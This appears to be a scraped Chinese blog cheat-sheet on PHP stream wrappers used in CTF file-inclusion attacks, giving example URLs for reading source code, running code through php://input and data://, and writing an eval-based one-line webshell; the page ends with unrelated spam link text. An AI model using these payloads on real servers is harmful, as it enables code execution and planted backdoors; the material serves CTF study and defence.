站長資訊網
        最全最豐富的資訊網站

        PHP偽協議大總結【歡迎收藏】

        file:// 協議

        • 條件

          • allow_url_fopen:off/on
          • allow_url_include :off/on
        • 作用
          用于訪問本地文件系統,在CTF中通常用來讀取本地文件的且不受allow_url_fopenallow_url_include的影響。
          include()/require()/include_once()/require_once()參數可控的情況下,如導入為非.php文件,則仍按照php語法進行解析,這是include()函數所決定的。
        • 說明
          file:// 文件系統是 PHP 使用的默認封裝協議,展現了本地文件系統。當指定了一個相對路徑(不以/、、或 Windows 盤符開頭的路徑)提供的路徑將基于當前的工作目錄。在很多情況下是腳本所在的目錄,除非被修改了。使用 CLI 的時候,目錄默認是腳本被調用時所在的目錄。在某些函數里,例如 fopen()file_get_contents()include_path 會可選地搜索,也作為相對的路徑。
        • 用法

          /path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:pathtowinfile.ext \smbserversharepathtowinfile.ext file:///path/to/file.ext
        • 示例

          1. file://[文件的絕對路徑和文件名]

            http://127.0.0.1/include.php?file=file://E:phpStudyPHPTutorialWWWphpinfo.txt

            PHP偽協議大總結【歡迎收藏】

          2. [文件的相對路徑和文件名]

            http://127.0.0.1/include.php?file=./phpinfo.txt

            PHP偽協議大總結【歡迎收藏】

          3. [http://網絡路徑和文件名]

            http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

            PHP偽協議大總結【歡迎收藏】

        • 參考:http://php.net/manual/zh/wrappers.file.php

        php:// 協議

        • 條件

          • allow_url_fopen:off/on
          • allow_url_include :僅php://input php://stdin php://memory php://temp 需要on
        • 作用
          php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經常使用的是php://filterphp://input,php://filter用于讀取源碼,php://input用于執行php代碼。
        • 說明
          PHP 提供了一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符,
          內存中、磁盤備份的臨時文件流以及可以操作其他讀取寫入文件資源的過濾器。

          協議 作用
          php://input 可以訪問請求的原始數據的只讀流,在POST請求中訪問POST的data部分,在enctype="multipart/form-data" 的時候php://input 是無效的。
          php://output 只寫的數據流,允許以 print 和 echo 一樣的方式寫入到輸出緩沖區。
          php://fd (>=5.3.6)允許直接訪問指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
          php://memory php://temp (>=5.1.0)一個類似文件包裝器的數據流,允許讀寫臨時數據。兩者的唯一區別是 php://memory 總是把數據儲存在內存中,而 php://temp 會在內存量達到預定義的限制后(默認是 2MB)存入臨時文件中。臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。
          php://filter (>=5.0.0)一種元封裝器,設計用于數據流打開時的篩選過濾應用。對于一體式(all-in-one)的文件函數非常有用,類似 readfile()、file()file_get_contents(),在數據流內容讀取之前沒有機會應用其他過濾器。
        • php://filter參數詳解

          該協議的參數會在該協議路徑上進行傳遞,多個參數都可以在一個路徑上傳遞。具體參考如下:

          php://filter 參數 描述
          resource=<要過濾的數據流> 必須項。它指定了你要篩選過濾的數據流。
          read=<讀鏈的過濾器> 可選項??梢栽O定一個或多個過濾器名稱,以管道符(* *)分隔。
          write=<寫鏈的過濾器> 可選項??梢栽O定一個或多個過濾器名稱,以管道符( )分隔。
          <; 兩個鏈的過濾器> 任何沒有以 read=write= 作前綴的篩選器列表會視情況應用于讀或寫鏈。
        • 可用的過濾器列表(4類)

          此處列舉主要的過濾器類型,詳細內容請參考:https://www.php.net/manual/zh/filters.php

          字符串過濾器 作用
          string.rot13 等同于str_rot13(),rot13變換
          string.toupper 等同于strtoupper(),轉大寫字母
          string.tolower 等同于strtolower(),轉小寫字母
          string.strip_tags 等同于strip_tags(),去除html、PHP語言標簽
          轉換過濾器 作用
          convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64編碼解碼
          convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串與 8-bit 字符串編碼解碼
          壓縮過濾器 作用
          zlib.deflate & zlib.inflate 在本地文件系統中創建 gzip 兼容文件的方法,但不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。
          bzip2.compress & bzip2.decompress 同上,在本地文件系統中創建 bz2 兼容文件的方法。
          加密過濾器 作用
          mcrypt.* libmcrypt 對稱加密算法
          mdecrypt.* libmcrypt 對稱解密算法
        • 示例

          1. php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼(針對php文件需要base64編碼)

            http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

            PHP偽協議大總結【歡迎收藏】

          2. php://input + [POST DATA]執行php代碼

            http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?>

            PHP偽協議大總結【歡迎收藏】

            若有寫入權限,寫入一句話木馬

            http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

            PHP偽協議大總結【歡迎收藏】

        • 參考:https://php.net/manual/zh/wrappers.php.php

        zip:// & bzip2:// & zlib:// 協議

        • 條件

          • allow_url_fopen:off/on
          • allow_url_include :off/on
        • 作用zip:// & bzip2:// & zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx 等等。
        • 示例

          1. zip://[壓縮文件絕對路徑]%23[壓縮文件內的子文件名](#編碼為%23)

            壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳

            http://127.0.0.1/include.php?file=zip://E:phpStudyPHPTutorialWWWphpinfo.jpg%23phpinfo.txt

            PHP偽協議大總結【歡迎收藏】

          2. compress.bzip2://file.bz2

            壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)

            http://127.0.0.1/include.php?file=compress.bzip2://E:phpStudyPHPTutorialWWWphpinfo.bz2

            PHP偽協議大總結【歡迎收藏】

          3. compress.zlib://file.gz

            壓縮 phpinfo.txt 為 phpinfo.gz 并上傳(同樣支持任意后綴名)

            http://127.0.0.1/include.php?file=compress.zlib://E:phpStudyPHPTutorialWWWphpinfo.gz

            PHP偽協議大總結【歡迎收藏】

        • 參考:http://php.net/manual/zh/wrappers.compression.php

        data:// 協議

        • 條件

          • allow_url_fopen:on
          • allow_url_include :on
        • 作用:自PHP>=5.2.0起,可以使用data://數據流封裝器,以傳遞相應格式的數據。通??梢杂脕韴绦蠵HP代碼。
        • 用法

          data://text/plain, data://text/plain;base64,
        • 示例

          1. data://text/plain,

            http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

            PHP偽協議大總結【歡迎收藏】

          2. data://text/plain;base64,

            http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

            PHP偽協議大總結【歡迎收藏】

        http:// & https:// 協議

        • 條件

          • allow_url_fopen:on
          • allow_url_include :on
        • 作用:常規 URL 形式,允許通過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。CTF中通常用于遠程包含。
        • 用法

          http://example.com http://example.com/file.php?var1=val1&var2=val2 http://user:password@example.com https://example.com https://example.com/file.php?var1=val1&var2=val2 https://user:password@example.com
        • 示例

          http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

          PHP偽協議大總結【歡迎收藏】

        phar:// 協議

        phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容,在這里只給出一個示例:

        http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

        PHP偽協議大總結【歡迎收藏】

        另外在 Black Hat 2018 大會上,研究人員公布了一款針對PHP應用程序的全新攻擊技術:phar://協議對象注入技術

        因為該利用點需要滿足一定的條件才能利用,可以參考下面這篇文章,里面的demo也非常詳細,留作以后專門研究一下。

        贊(0)
        分享到: 更多 (0)
        網站地圖   滬ICP備18035694號-2    滬公網安備31011702889846號
        主站蜘蛛池模板: 人妻精品久久久久中文字幕69 | 狠狠精品久久久无码中文字幕| 亚洲精品无码久久久久去q| 3级黄性日本午夜精品| 国产精品久久久久久吹潮| 亚洲欧美日韩国产精品| 精品国产综合区久久久久久| 久久精品国产久精国产| 国产精品原创巨作av女教师| 曰韩精品无码一区二区三区 | 97精品国产高清自在线看超| 国产成人精品视频在放| 97久久久久人妻精品专区| 久久精品无码一区二区无码| 亚洲精品国产福利一二区| 久久精品无码免费不卡| 国内精品久久久久影院网站| 国产精品va久久久久久久 | 92国产精品午夜福利| 久久精品人人槡人妻人人玩AV| 真实国产乱子伦精品视频| 天天视频国产精品| 亚洲A∨精品一区二区三区| 精品无码专区亚洲| 精品无码一级毛片免费视频观看| 国产麻豆精品入口在线观看 | 亚州日韩精品专区久久久| 久久精品国产精品亚洲艾草网美妙 | 无码精品黑人一区二区三区| 亚洲一区爱区精品无码 | 国内精品久久久久久中文字幕 | 精品久久无码中文字幕| 无码人妻精品一区二区| 日韩精品无码中文字幕一区二区 | 亚洲国产精品成人一区| 亚洲精品无码久久久久AV麻豆| 亚洲欧美日韩精品久久亚洲区| 亚洲性日韩精品国产一区二区| 亚洲AV第一页国产精品| 久久发布国产伦子伦精品| 国产国产精品人在线视|